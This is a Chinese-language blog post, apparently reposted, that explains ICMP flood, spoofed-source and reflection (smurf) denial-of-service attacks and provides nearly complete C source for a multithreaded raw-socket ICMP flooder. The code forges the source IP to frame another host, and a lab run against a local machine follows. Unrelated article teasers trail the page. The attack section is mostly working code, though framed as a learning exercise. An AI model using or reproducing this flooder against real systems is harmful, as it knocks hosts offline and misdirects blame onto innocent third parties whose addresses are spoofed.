Linux編程之ICMP洪水攻擊

来源:http://www.cnblogs.com/skyfsm/archive/2017/02/14/6395953.html
-Advertisement-
Play Games

我的上一篇文章《Linux編程之PING的實現》里使用ICMP協議實現了PING的程式,ICMP除了實現這麼一個PING程式,還有哪些不為人知或者好玩的用途?這裡我將介紹ICMP另一個很有名的黑科技:ICMP洪水攻擊。 ICMP洪水攻擊屬於大名鼎鼎的DOS(Denial of Service)攻擊的 ...


我的上一篇文章《Linux編程之PING的實現》里使用ICMP協議實現了PING的程式,ICMP除了實現這麼一個PING程式,還有哪些不為人知或者好玩的用途?這裡我將介紹ICMP另一個很有名的黑科技:ICMP洪水攻擊。   ICMP洪水攻擊屬於大名鼎鼎的DOS(Denial of Service)攻擊的一種,一種是黑客們喜歡的攻擊手段,這裡本著加深自己對ICMP的理解的目的,也試著基於ICMP寫一段ICMP的洪水攻擊小程式。   洪水攻擊(FLOOD ATTACK)指的是利用電腦網路技術向目的主機發送大量無用數據報文,使得目的主機忙於處理無用的數據報文而無法提供正常服務的網路行為。 ICMP洪水攻擊:顧名思義,就是對目的主機發送洪水般的ping包,使得目的主機忙於處理ping包而無能力處理其他正常請求,這就好像是洪水一般的ping包把目的主機給淹沒了。   要實現ICMP的洪水攻擊,需要以下三項的知識儲備:
  • DOS攻擊原理
  • ICMP的深入理解
  • 原始套接字的編程技巧

一、ICMP洪水攻擊原理 ICMP洪水攻擊是在ping的基礎上形成的,但是ping程式很少能造成目的及宕機的問題,這是因為ping的發送包的速率太慢了,像我實現的PING程式里ping包發送速率限定在1秒1發,這個速率目的主機處理ping包還是綽綽有餘的。所以要造成“洪水”的現象,就必須提升發包速率。這裡介紹三種ICMP洪水攻擊的方式:   (1)直接洪水攻擊 這樣做需要本地主機的帶寬和目的主機的帶寬之間進行比拼,比如我的主機網路帶寬是30M的,而你的主機網路帶寬僅為3M,那我發起洪水攻擊淹沒你的主機成功率就很大了。這種攻擊方式要求攻擊主機處理能力和帶寬要大於被攻擊主機,否則自身被DoS了。基於這種思想,我們可以使用一臺高帶寬高性能的電腦,採用多線程的方法一次性發送多個ICMP請求報文,讓目的主機忙於處理大量這些報文而造成速度緩慢甚至宕機。這個方法有個大缺點,就是對方可以根據ICMP包的IP地址而屏蔽掉攻擊源,使得攻擊不能繼續。   (2)偽IP攻擊 在直接洪水攻擊的基礎上,我們將發送方的IP地址偽裝成其他IP,如果是偽裝成一個隨機的IP,那就可以很好地隱藏自己的位置;如果將自己的IP偽裝成其他受害者的IP,就會造成“挑撥離間”的情形,受害主機1的icmp回覆包也如洪水般發送給受害主機2,如果主機1的管理員要查是哪個混蛋發包攻擊自己,他一查ICMP包的源地址,咦原來是主機2,這樣子主機2就成了戴罪羔羊了。   (3)反射攻擊 這類攻擊的思想不同於上面兩種攻擊,反射攻擊的設計更為巧妙。其實這裡的方式三的攻擊模式是前兩個模式的合併版以及升級版,方式三的攻擊策略有點像“借刀殺人“,反射攻擊不再直接對目標主機,而是讓其他一群主機誤以為目標主機在向他們發送ICMP請求包,然後一群主機向目的主機發送ICMP應答包,造成來自四面八方的洪水淹沒目的主機的現象。比如我們向區域網的其他主機發送ICMP請求包,然後自己的IP地址偽裝成目的主機的IP,這樣子目的主機就成了ICMP回顯的焦點了。這種攻擊非常隱蔽,因為受害主機很難查出攻擊源是誰。     二、ICMP洪水攻擊程式設計 這裡我想實現一個ICMP洪水攻擊的例子,這裡我想採用方式二來進行設計。雖說方式三的“借刀殺人”更為巧妙,其實也是由方式二的偽裝方式進一步延伸的,實現起來也是大同小異。   首先給出攻擊的模型圖:   1.組ICMP包 這裡的組包跟編寫PING程式時的組包沒太大差別,唯一需要註意的是,我們需要填寫IP頭部分,因為我們要偽裝源地址,做到嫁禍於人。
void DoS_icmp_pack(char* packet)
{
    struct ip* ip_hdr = (struct ip*)packet;
    struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip));

    ip_hdr->ip_v = 4;
    ip_hdr->ip_hl = 5;
    ip_hdr->ip_tos = 0;
    ip_hdr->ip_len = htons(ICMP_PACKET_SIZE);
    ip_hdr->ip_id = htons(getpid());
    ip_hdr->ip_off = 0;
    ip_hdr->ip_ttl = 64;
    ip_hdr->ip_p = PROTO_ICMP;
    ip_hdr->ip_sum = 0;
    ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //偽裝源地址
    ip_hdr->ip_dst.s_addr = dest;  //填入要攻擊的目的主機地址

    icmp_hdr->icmp_type = ICMP_ECHO;
    icmp_hdr->icmp_code = 0;
    icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << 8));//註意這裡,因為數據部分為0,我們就簡化了一下checksum的計算了
}

 

2.搭建發包線程

void Dos_Attack()
{
    char* packet = (char*)malloc(ICMP_PACKET_SIZE);
    memset(packet, 0, ICMP_PACKET_SIZE);
    struct sockaddr_in to;
    DoS_icmp_pack(packet);

    to.sin_family = AF_INET;
    to.sin_addr.s_addr = dest;
    to.sin_port = htons(0);

    while(alive)  //控制發包的全局變數
    {
        sendto(rawsock, packet, ICMP_PACKET_SIZE, 0, (struct sockaddr*)&to, sizeof(struct sockaddr));        
    }

    free(packet);  //記得要釋放記憶體
}

 

3.編寫發包開關 這裡的開關很簡單,用信號量+全局變數即可以實現。當我們按下ctrl+c時,攻擊將關閉。
void Dos_Sig()
{
    alive = 0;
    printf("stop DoS Attack!\n");
}

 

4.總的架構 我們使用了64個線程一起發包,當然這個線程數還可以大大增加,來增加攻擊強度。但我們只是做做實驗,沒必要搞那麼大。
int main(int argc, char* argv[])
{
    struct hostent* host = NULL;
    struct protoent* protocol = NULL;
    int i;
    alive = 1;
    pthread_t attack_thread[THREAD_MAX_NUM];  //開64個線程同時發包    
    int err = 0;

    if(argc < 2)
    {
        printf("Invalid input!\n");
        return -1;
    }

    signal(SIGINT, Dos_Sig);

    protocol = getprotobyname(PROTO_NAME);
    if(protocol == NULL)
    {
        printf("Fail to getprotobyname!\n");
        return -1;
    }

    PROTO_ICMP = protocol->p_proto;

    dest = inet_addr(argv[1]);

    if(dest == INADDR_NONE)
    {
        host = gethostbyname(argv[1]);
        if(host == NULL)
        {
            printf("Invalid IP or Domain name!\n");
            return -1;
        }
        memcpy((char*)&dest, host->h_addr, host->h_length);

    }

    rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP);
    if(rawsock < 0)
    {
        printf("Fait to create socket!\n");
        return -1;
    }

    setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1"));

    printf("ICMP FLOOD ATTACK START\n");

    for(i=0;i<THREAD_MAX_NUM;i++)
    {
        err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL);
        if(err)
        {
            printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);            
        }
    }

    for(i=0;i<THREAD_MAX_NUM;i++)
    {
        pthread_join(attack_thread[i], NULL);   //等待線程結束
    }

    printf("ICMP ATTACK FINISHI!\n");

    close(rawsock);

    return 0;
}

 

 

三、實驗 本次實驗本著學習的目的,想利用自己手上的設備,想進一步理解網路和協議的應用,所以攻擊的幅度比較小,時間也就幾秒,不對任何設備造成影響。   再說一下我們的攻擊步驟:我們使用主機172.0.5.183作為自己的攻擊主機,並將自己偽裝成主機172.0.5.182,對主機172.0.5.9發起ICMP洪水攻擊。   攻擊開始   我們觀察一下”受害者“那邊的情況。在短短5秒里,正確收到並交付上層處理的包也高達7萬多個了。我也不敢多搞事,避免影響機器工作。   使用wireshark抓包再瞧一瞧,滿滿的ICMP包啊,看來量也是很大的。ICMP包的源地址顯示為172.0.5.182(我們偽裝的地址),它也把echo reply回給了172.0.5.182。主機172.0.5.182肯定會想,莫名其妙啊,怎麼收到這麼多echo reply包。   攻擊實驗做完了。     現在更為流行的是DDOS攻擊,其威力更為強悍,策略更為精巧,防禦難度也更加高。 其實,這種DDoS攻擊也是在DOS的基礎上發起的,具體步驟如下:       1. 攻擊者向“放大網路”廣播echo request報文     2. 攻擊者指定廣播報文的源IP為被攻擊主機     3. “放大網路”回覆echo reply給被攻擊主機     4. 形成DDoS攻擊場景   這裡的“放大網路”可以理解為具有很多主機的網路,這些主機的操作系統需要支持對目的地址為廣播地址的某種ICMP請求數據包進行響應。   攻擊策略很精妙,簡而言之,就是將源地址偽裝成攻擊主機的IP,然後發廣播的給所有主機,主機們收到該echo request後集體向攻擊主機回包,造成群起而攻之的情景。  
您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • DATEADD 在向指定日期加上一段時間的基礎上,返回新的 datetime 值。語法 DATEADD ( datepart , number, date ) 參數 (1) datepart:是規定應嚮日期的哪一部分返回新值的參數。 下表列出了 Microsoft® SQL Server™ 識別的日 ...
  • 一.設置客戶端網路實用工具 點擊“開始”-“程式”,在“Microsoft SQL Server”菜單中選擇“客戶端網路實用工具”。 在“別名”選項中點擊“添加”。 在“伺服器別名”中,填入您網站功能變數名稱,在“網路庫”區域中點擊“TCP/IP”,在“連接參數”區域取消“動態決定埠”,指定“埠號”為2 ...
  • 等待分類與解決基本流程: 步驟1.定位問題 系統等待往往能直觀的反映出系統問題。通過一些常見的等待類型,同樣可以找到系統瓶頸,結合性能計數器往往定位更準確。 步驟1.定位問題 如:系統中存在大量IO類等待,那麼可能表示你的磁碟或記憶體是語句運行緩慢的原因,也是系統的瓶頸所在。 常見的等待類型 CXPA ...
  • 今天進行了InfluxDB和MySQL的對比測試,這裡記錄下結果,也方便我以後查閱。 操作系統: CentOS6.5_x64InfluxDB版本 : v1.1.0MySQL版本:v5.1.73CPU : Intel(R) Core(TM) i5-2320 CPU @ 3.00GHz記憶體 :12G硬碟 ...
  • 本文分三部步講解: 資料庫安裝,資料庫創建,創建表空間與用戶 資料庫安裝 首先到官方網站根據機器要求下載必要安裝包: http://www.oracle.com/technetwork/database/enterprise-edition/downloads/index.html win32_11 ...
  • 為VMware虛擬機內安裝的Ubuntu 16.04設置靜態IP地址NAT方式 為VMware虛擬機內安裝的Ubuntu 16.04設置靜態IP地址NAT方式 1.安裝環境 VMware 12 Ubuntu 16.04 x86_64 2.在VMware中,配置網路環境 VMware在預設安裝完成之後 ...
  • 在硬體上,中斷源可以通過中斷控制器向CPU提交中斷,進而引發中斷處理程式的執行,不過這種硬體中斷體系每一種CPU都不一樣,而Linux作為操作系統,需要同時支持這些中斷體系,如此一來,Linux中就提出了 軟中斷 的概念,也有人叫 內核中斷 ,其本質就是使用統一的方式對不同硬體中斷體系中的中斷號進行 ...
  • 1:統計10.86.0.0/16網段的內網流量情況 將下麵腳本保存成文件traffic-lan.sh(運行後需要等待10秒抓包) 2:統計到外網IP的流量情況 將下麵腳本保存成文件traffic-wan.sh(運行後需要等待10秒抓包) 3:可以統計UDP的改進版本 4:後來發現iftop也可以完成 ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...